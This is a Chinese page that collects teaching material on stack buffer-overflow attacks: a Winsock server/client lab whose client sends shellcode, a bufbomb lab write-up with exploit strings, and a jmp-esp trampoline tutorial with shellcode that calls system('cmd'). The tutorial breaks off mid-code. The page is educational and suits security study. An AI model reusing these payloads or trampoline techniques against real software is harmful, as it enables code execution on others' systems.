精华内容
下载资源
问答
  • MS08-067( Windows Server服务RPC请求缓冲区溢出漏洞)远程缓冲区溢出攻击测试
  • 网络攻防实验之缓冲区溢出攻击

    千次阅读 2019-07-09 22:10:07
    通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性,并理解防范和避免缓冲区溢出攻击的措施。 二、实验原理和实验环境 实验原理: 缓冲区溢出(Buffer Overflow...

    这个实验是网络攻防课程实验中的一个,但是目前我还没有完全搞懂代码,以后有机会来补。也欢迎大佬指点

    一、实验目的和要求

          通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性,并理解防范和避免缓冲区溢出攻击的措施。

    二、实验原理和实验环境

    实验原理:

            缓冲区溢出(Buffer Overflow)是目前非常普遍而且危险性非常高的漏洞,在各种操作系统和应用软件中广泛存在。利用缓冲区溢出攻击,可以使远程主机出现程序运行错误、系统死机或者重启等异常现象,它甚至可以被黑客利用,在没有任何系统帐户的条件下获得系统最高控制权,进而进行各种非法操作。

           缓冲区溢出的原理很简单,类似于把水倒入杯子中,而杯子容量有限,如果倒入水的量超过杯子的容量,水就会溢出来。缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或者操作系统定义好。缓冲区类似于一个杯子,写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。

    例如:

    #include <stdio.h>

    main()

    {

    char string[8];

    gets(string);

    printf("string is %s\n", string);

    }

           在UNIX系统中对C函数处理时,系统会为其分配一段内存区间,其中用于函数调用的区域为堆栈区,保存了函数调用过程中的返回地址、栈顶和栈底信息,以及局部变量和函数的参数。上述main函数执行时,上述信息按照参数、ret(返回地址)和EBP(栈底)的顺序依次压入其堆栈区中,然后根据所调用的局部变量再在堆栈中开辟一块相应的空间,这个内存空间被申请占用的过程是从内存高地址空间向低地址空间的延伸。为局部变量在堆栈中预留的空间在填入局部变量时,其填入的顺序是从低地址内存空间向高地址内存空间依次进行。函数执行完后,局部变量占用的内存空间将被丢弃,并根据EBP和ret地址,恢复到调用函数原有地址空间继续执行。当字符处理函数没有对局部变量进行越界监视和限制时,就存在局部变量写越界,覆盖了高地址内存空间中ret、EBP的信息,造成缓冲区溢出。

            对于上述main()函数,由于没有参数,系统首先将main函数的ret和EBP写入堆栈,然后根据string[8]字符数组的大小,堆栈再扩展8个字节的空间用于存放sting[]数组中的局部变量。当执行gets()函数将局部变量例如AAAA写入string[]数组时,字符串AAAA会先填入内存的低地址空间,如下图所示,然后再是高地址空间。堆栈中内存的分配以4字节为单位,如果gets()函数执行时输入的字符串为AAAAAAAAAAAAAAAA,按照上述填入顺序,原有ret和EBP的内存空间将会被字符串A覆盖。

           当main函数返回时,再从原ret处获取调用函数返回地址时,就会把AAAA对应的十六进制ASCII码0x41414141作为返回地址,使CPU试图执行0x41414141处的指令,由于0x41414141不是一个正常的内存空间地址,就会发生缓冲区溢出。发生溢出时,如果用一个实际存在的指令地址来覆盖被调用函数的返回地址,则系统就会转而执行这个指令,这一点就是缓冲区溢出被用来进行攻击的最关键之处。在UNIX系统中,由于相同shell环境下,程序的堆栈地址信息是相同的,所以只要调试后找到这个堆栈地址,就可以在发生溢出时转而执行这个事先设定的程序了。并且,如果发生溢出的源程序具有管理员权限,则替换后的程序也拥有相同的管理员权限。

          引起缓冲区溢出的问题主要原因是C和C++本质就是不安全的(Java和C#就相对安全许多)没有边界来检查数据和指针的引用。而软件开发人员经常忽略检查边界,这就会有缓冲区溢出的风险。标准C库中还存在许多非安全字符串的操作,包括strcpy()、sprintf()、gets()、strcat、scanf、vscanf等。为了防止缓冲区溢出的发生,编程人员需要对这些存在缓冲区溢出问题的函数予以关注,增加边界限制,编写正确的代码,或者改用没有问题的函数,例如strncpy()、strncat()、snprintf()等。

    实验环境:

        Windows XP,VC 6.0

    三、实验内容及步骤 

    1、打开控制台。

          学生单击“试验环境试验”进入实验场景,单击L005001001xp01_1中的“打开控制台”按钮,进入目标主机。

    2、找到桌面上的Microsoft Visual C++ 6.0,双击打开。

    3新建一个C++ Source File,文件名为server,作为服务器。

    4、Dtools文件夹下打开server文件,将里面的代码复制到建立的C++文件中。并编译构建。

    #include <stdio.h>
    
    #include <stdlib.h>
    
    #include <WINSOCK2.H>
    
    #pragma comment (lib, "WS2_32")
    
    void showcontent(char *buff);
    
    int main(int argc, char **argv)
    
    {
    
           WSADATA wsaData;
    
           if( WSAStartup(0x101, &wsaData) != 0 )
    
           {
    
       printf("Failed Initialization.\n");
    
       return 0;
    
           }
    
          
    
           if(argc!=2)
    
           {
    
       printf("Usage: server.exe [port]\n");
    
       return 0;
    
           }
    
          
    
           int port = atoi(argv[1]);
    
           SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
           if (sListen == INVALID_SOCKET)
    
           {
    
       printf("Failed socket()\n");
    
       return 0;
    
           }
    
           sockaddr_in sin;
    
           sin.sin_family = AF_INET;
    
           sin.sin_port = htons(port);
    
           sin.sin_addr.S_un.S_addr = INADDR_ANY;
    
           if (::bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)
    
           {
    
       printf("Failed bind()\n");
    
       return 0;
    
           }
    
           if (::listen(sListen, 2) == SOCKET_ERROR)
    
           {
    
       printf("Failed listen()\n");
    
       return 0;
    
           }
    
           sockaddr_in remoteAddr;
    
           int nAddrLen = sizeof(remoteAddr);
    
           SOCKET sClient;
    
           char szText[] = "TCP Server is Connected!\n\n";
    
           char buff[1024] = {0};
    
           char toSend[1024] = {0};
    
           while (TRUE)
    
           {
    
       sClient = ::accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen);
    
       if (sClient == INVALID_SOCKET)
    
       {
    
              printf("Failed accept()\n");
    
              continue;
    
       }
    
       printf("Somebody is connecting: %s\n", inet_ntoa(remoteAddr.sin_addr));
    
       ::send(sClient, szText, strlen(szText), 0);
    
       int nRecv = ::recv(sClient, buff, sizeof(buff), 0);
    
       if (nRecv > 0)
    
       {
    
              buff[nRecv] = '\0';
    
              ::closesocket(sClient);
    
              break;
    
       }
    
           }
    
           ::closesocket(sListen);
    
           showcontent(buff);
    
           return 0;
    
    }
    
    void showcontent(char *buff)
    
    {
    
           char content[8];
    
           strcpy(content, buff);
    
           printf("%s", content);
    
    }

    5、运行程序,可以看见有server.exe应用程序,[port]是口令。

    6、再新建一个C++ Source File,文件名为Client,作为客户端。

     

    7、在D盘tools文件夹下的client文件,复制其中的代码到c++文件中,编译构建。

    #include <stdio.h> 
    
    #include <stdlib.h>
    
    #include <WINSOCK2.H>
    
    #pragma comment (lib, "WS2_32")
    
    int main(int argc, char* *argv)
    
    {
    
           WSADATA wsaData;
    
           if( WSAStartup(0x101, &wsaData) != 0 )
    
           {
    
       printf("Failed Initialization.\n");
    
       return 0;
    
           }
    
                 if(argc!=3)
    
           {
    
       printf("Usage: client.exe [Server_IP] [port]\n");
    
       return 0;
    
           }
    
           int port = atoi(argv[2]);
    
           SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
          
    
           if(s == INVALID_SOCKET)
    
           {
    
       printf("Failed socket()\n");
    
       return 0;
    
           }
    
           sockaddr_in servAddr;
    
           servAddr.sin_family = AF_INET;
    
           servAddr.sin_port = htons(port);
    
           servAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);
    
           if(::connect(s, (sockaddr *)&servAddr, sizeof(servAddr)) == -1)
    
           {
    
       printf("Failed connect()\n");
    
       return 0;
    
           }
    
           char buff[1024];
    
           int nRev = ::recv(s, buff, sizeof(buff), 0);
    
           if (nRev > 0)
    
           {
    
       buff[nRev] = '\0';
    
       printf("Received: %s", buff);
    
           }
    
           char toSend[] =
    
       "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
    
       "\x12\x45\xfa\x7f"
    
       "\x55\x8b\xec"
    
       "\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53\xc6\x45"
    
       "\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6"
    
       "\x45\xfa\x2e\xc6\x45\xfb\x44\xc6\x45\xfc\x4c\xc6"
    
       "\x45\xfd\x4c\xba"
    
       "\x80\x1d\x80\x7c"   //loadlibrarya
    
       "\x52\x8d\x45\xf4\x50\xf"
    
       "\xff\xd0";
    
          
    
     char toSend2[] =
    
             "\x41\x42\x43\x44"
    
       "\x45\x46\x47\x48"
    
       "\x12\x45\xfa\x7f"
    
       "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
    
       "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
    
       "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
    
       "\x9c\x3f\x88\x7c"   //loadlibrary地址0x7c883f9c
    
       "\x52\x8D\x45\xF4\x50"
    
       "\xFF\x55\xF0"
    
       "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
    
       //command.
    
       "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
    
       //      c   o   m
    
       "\x50\xB8"
    
       "\x7c\xbf\x93\x77"   //System地址0x77bf93c7
    
       "\xFF\xD0";
    
          
    
           send(s, toSend, strlen(toSend), 0);
    
           ::closesocket(s);
    
           return 0;
    
    }

    8、运行程序,可以看见有client.exe应用程序,[Server_IP]是服务器的IP地址,[port]是口令。

    9、打开命令提示符,输入“ipconfig”查看本机的IP地址,即为服务器的IP地址。这里的IP地址是172.16.1.186

    10、打开桌面上的Debug文件夹,找到其中的client.exe和server.exe。

    11、复制server.exe和client.exe,将他们粘贴到“c:\windows\system32”目录下。

    12、打开命令提示符,找到“c:\windows\system32”目录,并运行命令“server.exe 8888”来开启server。

    开始文件夹是隐藏的,点击“显示此文件夹内容”

    13、另外打开一个命令提示符,同样找到“c:\windows\system32”目录,运行命令

    “client.exe 172.16.1.186 8888”来攻击server。

    14、点击回车键后,可以看见一行提示“Received: TCP Server is Connected!”,

    表明连接上了server。然后会弹出一个对话框,显示server.exe遇到问题需要关闭,这表明server被攻击并报错了。

    展开全文
  • KALI渗透测试缓冲区溢出篇章,详细介绍kali的缓冲区溢出工具使用。
  • 计算机系统(2) 实验四 缓冲区溢出攻击实验一、 实验目标:二、实验环境:三、实验内容四、实验步骤和结果(一)返回到smoke(二)返回到fizz()并准备相应参数(三)返回到bang()且修改global_value五、实验总结与...

    一、 实验目标:

    1. 理解程序函数调用中参数传递机制;
    2. 掌握缓冲区溢出攻击方法;
    3. 进一步熟练掌握GDB调试工具和objdump反汇编工具。

    二、实验环境:

    1. 计算机(Intel CPU)
    2. Linux 64位操作系统
    3. GDB调试工具
    4. objdump反汇编工具

    三、实验内容

            本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!

            要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。

            实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四 缓冲区溢出攻击实验.pptx”。

            本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。

    四、实验步骤和结果

            首先利用反汇编命令查看getbuf函数的汇编代码,以便分析getbuf在调用时的栈帧结构,汇编代码如下:

    (一)返回到smoke

    【解题思路】
            本实验中,bufbomb中的test()函数将会调用getbuf()函数,getbuf()函数再调用gets()从标准输入设备读入字符串。

            系统函数gets()未进行缓冲区溢出保护。其代码如下:

    int getbuf()
    {
        char buf[12];
        Gets(buf);
        return 1;
    }
    

            我们的目标是使getbuf()返回时,不返回到test(),而是直接返回到指定的smoke()函数。

            为此,我们可以通过构造并输入大于getbuf()中给出的数据缓冲区的字符串而破坏getbuf()的栈帧,替换其返回地址,将返回地址改成smoke()函数的地址。

    【解题过程】
            分析getbuf()函数的汇编代码,不难发现,getbuf()在保存%ebp的旧值后,将%ebp指向%esp所指的位置,然后将栈指针减去0x28来分配额外的20个字节的地址空间。字符数组buf的位置用%ebp下0x18(即24)个字节来计算。然后调用Gets()函数,读取的字符串返回到%ebp-0x18,即%ebp-24。

            通过分析,可做如下栈帧示意图:
    在这里插入图片描述

            从以上分析可得,只要输入字符比较短时,gets返回的字符串(包括末尾的‘\0’)就能够放进buf分配的空间里。而长一些的字符串就会导致gets返回字符串过长而覆盖栈上存储的某些信息。

    随着字符串变长,下面的信息会被破坏:
    在这里插入图片描述

            因此,我们要替换返回地址,只需要构造一个长度至少为32的字符串,其中的第011个字符放进buf分配的空间里,第1223个字符放进程序分配后未使用的空间里,第24~27个字符覆盖保存的%ebp旧值,第28-31个字符覆盖返回地址。

            由于替换掉返回地址后,getbuf()函数将不会再返回到test()中,所以覆盖掉test()的%ebp旧值并不会对程序有任何影响。因此构造的长度为32的字符串前28个字符可以为任意值,而后面四个字符为smoke()函数的地址。通过反汇编查看代码,可以发现,smoke函数的地址为08048eb0。
    在这里插入图片描述

            由于我的学号是2019284073,因此,不妨构造如下攻击输入语句:
    20192840732019284073201928407320192840732019284073000000b08e0408

    【测试结果】
            此时我们进行测试,使用管道将输入流重定向到bufbomb中:
    在这里插入图片描述

            答案正确,成功地调用了smoke函数。

    (二)返回到fizz()并准备相应参数

    【解题思路】
            这一关要求返回到fizz()并传入自己的cookie值作为参数,破解的思路和第一关是类似的,构造一个超过缓冲区长度的字符串将返回地址替换成fizz()的地址,只是增加了一个传入参数,所以在读入字符串时,要把fizz()函数读取参数的地址替换成自己的cookie值,具体细节见解题过程。

    【解题过程】
            首先观察fizz()的汇编代码:
    在这里插入图片描述

            从汇编代码可知,fizz()函数被调用时首先保存%ebp旧值并分配新的空间,然后读取%ebp-0x8地址处的内容作为传入的参数,要求传入的参数是自己的cookie值。也就是说传入的参数其实是存在%ebp-0x8处的,具体的栈帧结构如下:
    在这里插入图片描述

    对应到getbuf()函数中的栈帧结构如下:
    在这里插入图片描述

            由以上结构不难判断出,我们需要读入buf的字符串为“28个任意字符+fizz()的地址+4个任意的字符+自己的cookie值”。

            通过反汇编,可以知道fizz()的地址为0x08048e60。

            再利用makecookie生成自己的cookie值为642b7ea2 。
    在这里插入图片描述

            由于我的学号是2019284073,因此,不妨构造如下攻击输入语句:
    20192840732019284073201928407320192840732019284073000000608e040800000000a27e2b64

    【测试结果】
            此时我们进行测试,使用管道将输入流重定向到bufbomb中:
    在这里插入图片描述

            答案正确,成功地调用了fizz函数。

    (三)返回到bang()且修改global_value

    【解题思路】
            这一关要求先修改全局变量global_value的值为自己的cookie值,再返回到band()。为此需要先编写一段代码,在代码中把global_value的值改为自己的cookie后返回到band()函数。将这段代码通过GCC产生目标文件后读入到buf数组中,并使getbuf函数的返回到buf数组的地址,这样程序就会执行我们写的代码,修改global_value的值并调用band()函数。具体细节见解题过程。

    【解题过程】
            首先,为了能精确地指定跳转地址,先在root权限下关闭Linux的内存地址随机化:
    在这里插入图片描述

            观察bang()的汇编代码:
    在这里插入图片描述

            很明显,bang()函数首先读取0x804a1c4和0x804a1d4的地址的内容并进行比较,要求两个地址中的内容相同,我们不妨使用gdb查看对应地址的值:
    在这里插入图片描述

            可以发现,0x804a1c4就是全局变量global_value的地址,0x804a1d4是cookie的地址。因此,我们只要在自己写的代码中,把地址0x804a1d4的内容存到地址0x804a1c4即可。通过反汇编,可以获得bang()函数的入口地址为0x08048e10。

            此时,可以确定我们自己写的代码要干的事情了。首先是将global_value的值设置为cookie的值,也就是将0x804a1c4的值设置为0x804a1d4的值,然后将bang()函数的入口地址0x08048e10压入栈中,这样当函数返回的时候,就会直接取栈顶作为返回地址,从而调用bang()函数。接着函数返回,此时返回的地址就是上一条语句中压入栈中的地址,也就是bang()函数的入口地址了。

            不妨创建一个temp.s的文件用于存汇编代码:
    在这里插入图片描述

            通过gcc编译该汇编代码,再反编译输出到temp.txt中。
    在这里插入图片描述
    在这里插入图片描述

            在将这段机器码放入buf数组中后,为了能让getbuf()返回到buf数组处执行我们的代码,需要想办法得到buf数组的地址。为此,用gdb断点调试查看执行getbuf()时ebp的值为0xffffbe28。
    在这里插入图片描述

            从第一关中对getbuf()函数栈帧结构的分析可知buf数组的首地址为%ebp-0x18,即0xffffbe18。

            综上所述,最后我们要构造的字符串为自己写的汇编代码生成的机器码(20个字符)+8个任意字符+buf数组的首地址,则对应的字符串为:
    488b1425d4a1040848891425c4a1040848c7c2108e0408ffe200000010beffff

    【测试结果】
            此时我们进行测试,使用管道将输入流重定向到bufbomb中:
    在这里插入图片描述

            答案正确,成功地将golbal_value设置为了我的cookie。

    五、实验总结与体会

    本次实验中,复习了之前学过的很多知识:

    • 寄存器的功能:
    • 寻址方式:
    • 操作指令
              通过本实验,我学习了利用缓冲区溢出漏洞对程序进行攻击的方法,对程序运行时的栈帧结构有了跟深层次的了解。也学会了通过使用gdb调试完成对程序的运行情况进行检查并获取程序运行过程中的值。
              此外,本次实验给我的启示是,在自己编写程序过程中,也需要尤为注意缓冲区溢出的情况,防范缓冲区溢出攻击。
    展开全文
  • 缓冲区溢出攻击

    2017-08-01 15:30:11
    随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原理阐述得简洁...

    缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原理阐述得简洁明了。本文参考该书对缓冲区溢出原理的讲解,并结合实际的代码实例进行验证。不过即便如此,完成一个简单的溢出代码也需要解决很多书中无法涉及的问题,尤其是面对较新的具有安全特性的编译器——比如MSVisual Studio2010。接下来,我们结合具体代码,按照对缓冲区溢出原理的循序渐进地理解方式去挖掘缓冲区溢出背后的底层机制。

    一、代码 <=> 数据

    顾名思义,缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据,就像往杯子里倒入了过量的水一样。通常情况下,缓冲区溢出的数据只会破坏程序数据,造成意外终止。但是如果有人精心构造溢出数据的内容,那么就有可能获得系统的控制权!如果说用户(也可能是黑客)提供了水——缓冲区溢出攻击的数据,那么系统提供了溢出的容器——缓冲区。

    缓冲区在系统中的表现形式是多样的,高级语言定义的变量、数组、结构体等在运行时可以说都是保存在缓冲区内的,因此所谓缓冲区可以更抽象地理解为一段可读写的内存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意设定好的恶意代码。按照冯·诺依曼存储程序原理,程序代码是作为二进制数据存储在内存的,同样程序的数据也在内存中,因此直接从内存的二进制形式上是无法区分哪些是数据哪些是代码的,这也为缓冲区溢出攻击提供了可能。

    进程地址空间分布

    1是进程地址空间分布的简单表示。代码存储了用户程序的所有可执行代码,在程序正常执行的情况下,程序计数器(PC指针)只会在代码段和操作系统地址空间(内核态)内寻址。数据段内存储了用户程序的全局变量,文字池等。栈空间存储了用户程序的函数栈帧(包括参数、局部数据等),实现函数调用机制,它的数据增长方向是低地址方向。堆空间存储了程序运行时动态申请的内存数据等,数据增长方向是高地址方向。除了代码段和受操作系统保护的数据区域,其他的内存区域都可能作为缓冲区,因此缓冲区溢出的位置可能在数据段,也可能在堆、栈段。如果程序的代码有软件漏洞,恶意程序会“教唆”程序计数器从上述缓冲区内取指,执行恶意程序提供的数据代码!本文分析并实现栈溢出攻击方式。

    二、函数栈帧

    栈的主要功能是实现函数的调用。因此在介绍栈溢出原理之前,需要弄清函数调用时栈空间发生了怎样的变化。每次函数调用时,系统会把函数的返回地址(函数调用指令后紧跟指令的地址),一些关键的寄存器值保存在栈内,函数的实际参数和局部变量(包括数据、结构体、对象等)也会保存在栈内。这些数据统称为函数调用的栈帧,而且是每次函数调用都会有个独立的栈帧,这也为递归函数的实现提供了可能。

    函数栈帧

    如图所示,我们定义了一个简单的函数function,它接受一个整形参数,做一次乘法操作并返回。当调用function(0)时,arg参数记录了值0入栈,并将call function指令下一条指令的地址0x00bd16f0保存到栈内,然后跳转到function函数内部执行。每个函数定义都会有函数头和函数尾代码,如图绿框表示。因为函数内需要用ebp保存函数栈帧基址,因此先保存ebp原来的值到栈内,然后将栈指针esp内容保存到ebp。函数返回前需要做相反的操作——将esp指针恢复,并弹出ebp。这样,函数内正常情况下无论怎样使用栈,都不会使栈失去平衡。

    sub esp,44h指令为局部变量开辟了栈空间,比如ret变量的位置。理论上,function只需要再开辟4字节空间保存ret即可,但是编译器开辟了更多的空间(这个问题很诡异,你觉得呢?)。函数调用结束返回后,函数栈帧恢复到保存参数0时的状态,为了保持栈帧平衡,需要恢复esp的内容,使用add esp,4将压入的参数弹出。

    之所以会有缓冲区溢出的可能,主要是因为栈空间内保存了函数的返回地址。该地址保存了函数调用结束后后续执行的指令的位置,对于计算机安全来说,该信息是很敏感的。如果有人恶意修改了这个返回地址,并使该返回地址指向了一个新的代码位置,程序便能从其它位置继续执行。

    三、栈溢出基本原理

    上边给出的代码是无法进行溢出操作的,因为用户没有“插足”的机会。但是实际上很多程序都会接受用户的外界输入,尤其是当函数内的一个数组缓冲区接受用户输入的时候,一旦程序代码未对输入的长度进行合法性检查的话,缓冲区溢出便有可能触发!比如下边的一个简单的函数。

     

    void fun(unsigned  char *data)
    {
        unsigned  char buffer[BUF_LEN];
        strcpy(( char*)buffer,( char*)data); // 溢出点
    }

    这个函数没有做什么有“意义”的事情(这里主要是为了简化问题),但是它是一个典型的栈溢出代码。在使用不安全的strcpy库函数时,系统会盲目地将data的全部数据拷贝到buffer指向的内存区域。buffer的长度是有限的,一旦data的数据长度超过BUF_LEN,便会产生缓冲区溢出。

    缓冲区溢出

    由于栈是低地址方向增长的,因此局部数组buffer的指针在缓冲区的下方。当把data的数据拷贝到buffer内时,超过缓冲区区域的高地址部分数据会“淹没”原本的其他栈帧数据,根据淹没数据的内容不同,可能会有产生以下情况:

    1、淹没了其他的局部变量。如果被淹没的局部变量是条件变量,那么可能会改变函数原本的执行流程。这种方式可以用于破解简单的软件验证。

    2、淹没了ebp的值。修改了函数执行结束后要恢复的栈指针,将会导致栈帧失去平衡。

    3、淹没了返回地址。这是栈溢出原理的核心所在,通过淹没的方式修改函数的返回地址,使程序代码执行“意外”的流程!

    4、淹没参数变量。修改函数的参数变量也可能改变当前函数的执行结果和流程。

    5、淹没上级函数的栈帧,情况与上述4点类似,只不过影响的是上级函数的执行。当然这里的前提是保证函数能正常返回,即函数地址不能被随意修改(这可能很麻烦!)。

    如果在data本身的数据内就保存了一系列的指令的二进制代码,一旦栈溢出修改了函数的返回地址,并将该地址指向这段二进制代码的其实位置,那么就完成了基本的溢出攻击行为。

    基本栈溢出攻击

    通过计算返回地址内存区域相对于buffer的偏移,并在对应位置构造新的地址指向buffer内部二进制代码的其实位置,便能执行用户的自定义代码!这段既是代码又是数据的二进制数据被称为shellcode,因为攻击者希望通过这段代码打开系统的shell,以执行任意的操作系统命令——比如下载病毒,安装木马,开放端口,格式化磁盘等恶意操作。

    四、栈溢出攻击

    上述过程虽然理论上能完成栈溢出攻击行为,但是实际上很难实现。操作系统每次加载可执行文件到进程空间的位置都是无法预测的,因此栈的位置实际是不固定的,通过硬编码覆盖新返回地址的方式并不可靠。为了能准确定位shellcode的地址,需要借助一些额外的操作,其中最经典的是借助跳板的栈溢出方式。

    根据前边所述,函数执行后,栈指针esp会恢复到压入参数时的状态,在图4中即data参数的地址。如果我们在函数的返回地址填入一个地址,该地址指向的内存保存了一条特殊的指令jmp esp——跳板。那么函数返回后,会执行该指令并跳转到esp所在的位置——即data的位置。我们可以将缓冲区再多溢出一部分,淹没data这样的函数参数,并在这里放上我们想要执行的代码!这样,不管程序被加载到哪个位置,最终都会回来执行栈内的代码。

    借助跳板的栈溢出攻击

    借助于跳板的确可以很好的解决栈帧移位(栈加载地址不固定)的问题,但是跳板指令从哪找呢?“幸运”的是,在Windows操作系统加载的大量dll中,包含了许多这样的指令,比如kernel32.dllntdll.dll,这两个动态链接库是Windows程序默认加载的。如果是图形化界面的Windows程序还会加载user32.dll,它也包含了大量的跳板指令!而且更“神奇”的是Windows操作系统加载dll时候一般都是固定地址,因此这些dll内的跳板指令的地址一般都是固定的。我们可以离线搜索出跳板执行在dll内的偏移,并加上dll的加载地址,便得到一个适用的跳板指令地址!

    复制代码
    // 查询dll内第一个jmp esp指令的位置
    int findJmp( char*dll_name)
    {
         char* handle=( char*)LoadLibraryA(dll_name); // 获取dll加载地址
         for( int pos= 0;;pos++) // 遍历dll代码空间
        {
             if(handle[pos]==( char) 0xff&&handle[pos+ 1]==( char) 0xe4) // 寻找0xffe4 = jmp  esp
            {
                 return ( int)(handle+pos);
            }
        }
    }
    复制代码

    这里简化了搜索算法,输出第一个跳板指令的地址,读者可以选取其他更合适位置。LoadLibraryA库函数返回值就是dll的加载地址,然后加上搜索到的跳板指令偏移pos便是最终地址。jmp esp指令的二进制表示为0xffe4,因此搜索算法就是搜索dll内这样的字节数据即可。

    虽然如此,上述的攻击方式还不够好。因为在esp后继续追加shellcode代码会将上级函数的栈帧淹没,这样做并没有什么好处,甚至可能会带来运行时问题。既然被溢出的函数栈帧内提供了缓冲区,我们还是把核心的shellcode放在缓冲区内,而在esp之后放上跳转指令转移到原本的缓冲区位置。由于这样做使代码的位置在esp指针之前,如果shellcode中使用了push指令便会让esp指令与shellcode代码越来越近,甚至淹没自身的代码。这显然不是我们想要的结果,因此我们可以强制抬高esp指针,使它在shellcode之前(低地址位置),这样就能在shellcode内正常使用push指令了。

    调整shellcode与栈指针

    调整代码的内容很简单:

    add esp,-X
    jmp esp

    第一条指令抬高了栈指针到shellcode之前。X代表shellcode起始地址与esp的偏移。如果shellcode从缓冲区起始位置开始,那么就是buffer的地址偏移。这里不使用sub esp,X指令主要是避免X的高位字节为0的问题,很多情况下缓冲区溢出是针对字符串缓冲区的,如果出现字节0会导致缓冲区截断,从而导致溢出失败。

    第二条指令就是跳转到shellcode的起始位置继续执行。(又是jmp esp!)

    通过上述方式便能获得一个较为稳定的栈溢出攻击。

    五、shellcode构造

    shellcode实质是指溢出后执行的能开启系统shell的代码。但是在缓冲区溢出攻击时,也可以将整个触发缓冲区溢出攻击过程的代码统称为shellcode,按照这种定义可以把shellcode分为四部分:

    1、核心shellcode代码,包含了攻击者要执行的所有代码。

    2、溢出地址,是触发shellcode的关键所在。

    3、填充物,填充未使用的缓冲区,用于控制溢出地址的位置,一般使用nop指令填充——0x90表示。

    4、结束符号0,对于符号串shellcode需要用0结尾,避免溢出时字符串异常。

    前边一直在围绕溢出地址讨论,并解决了shellcode组织的问题,而最核心的代码如何构造并未提及——即攻击成功后做的事情。其实一旦缓冲区溢出攻击成功后,如果被攻击的程序有系统的root权限——比如系统服务程序,那么攻击者基本上可以为所欲为了!但是我们需要清楚的是,核心shellcode必须是二进制代码形式。而且shellcode执行时是在远程的计算机上,因此shellcode是否能通用是一个很复杂的问题。我们可以用一段简单的代码实例来说明这个问题。

    缓冲区溢出成功后,一般大家都会希望开启一个远程的shell控制被攻击的计算机。开启shell最直接的方式便是调用C语言的库函数system,该函数可以执行操作系统的命令,就像我们在命令行下执行命令那样。假如我们执行cmd命令——在远程计算机上启动一个命令提示终端(我们可能还不能和它交互,但是可以在这之前建立一个远程管道等),这里仅作为实例测试。

    为了使system函数调用成功,我们需要将“cmd”字符串内容压入栈空间,并将其地址压入作为system函数的参数,然后使用call指令调用system函数的地址,完成函数的执行。但是这样做还不够,如果被溢出的程序没有加载C语言库的话,我们还需要调用WindowsAPI Loadlibrary加载C语言的库msvcrt.dll,类似的我们也需要为字符串“msvcrt.dll”开辟栈空间。

     

    复制代码
    xor ebx,ebx  ; //ebx=0

    push 0x3f3f6c6c  ; //ll??
    push 0x642e7472  ; //rt.d
    push 0x6376736d  ; //msvc
    mov [esp+ 10],ebx  ; //'?'->'0'
    mov [esp+ 11],ebx  ; //'?'->'0'
    mov eax,esp  ; //"msvcrt.dll"地址
    push eax  ; //"msvcrt.dll"
    mov eax,0x77b62864  ; //kernel32.dll:LoadLibraryA
    call eax  ; //LoadLibraryA("msvcrt.dll")
    add esp, 16

    push 0x3f646d63  ; //"cmd?"
    mov [esp+ 3],ebx  ; //'?'->'\0'
    mov eax,esp ; //"cmd"地址
    push eax  ; //"cmd"
    mov eax,0x774ab16f  ; //msvcrt.dll:system
    call eax  ; //system("cmd")
    add esp, 8
    复制代码

    上述汇编代码实质上是如下两个函数调用语句:

    Loadlibrary(“msvcrt.dll”);
    system(“cmd”);

    不过在构造这段汇编代码时需要注意不能出现字节0,为了填充字符串的结束字符,我们使用已经初始化为0ebx寄存器代替。另外,在对库函数调用的时候需要提前计算出函数的地址,如Loadlibrary函数的0x77b62864。计算方式如下:

    int findFunc( char*dll_name, char*func_name)
    {
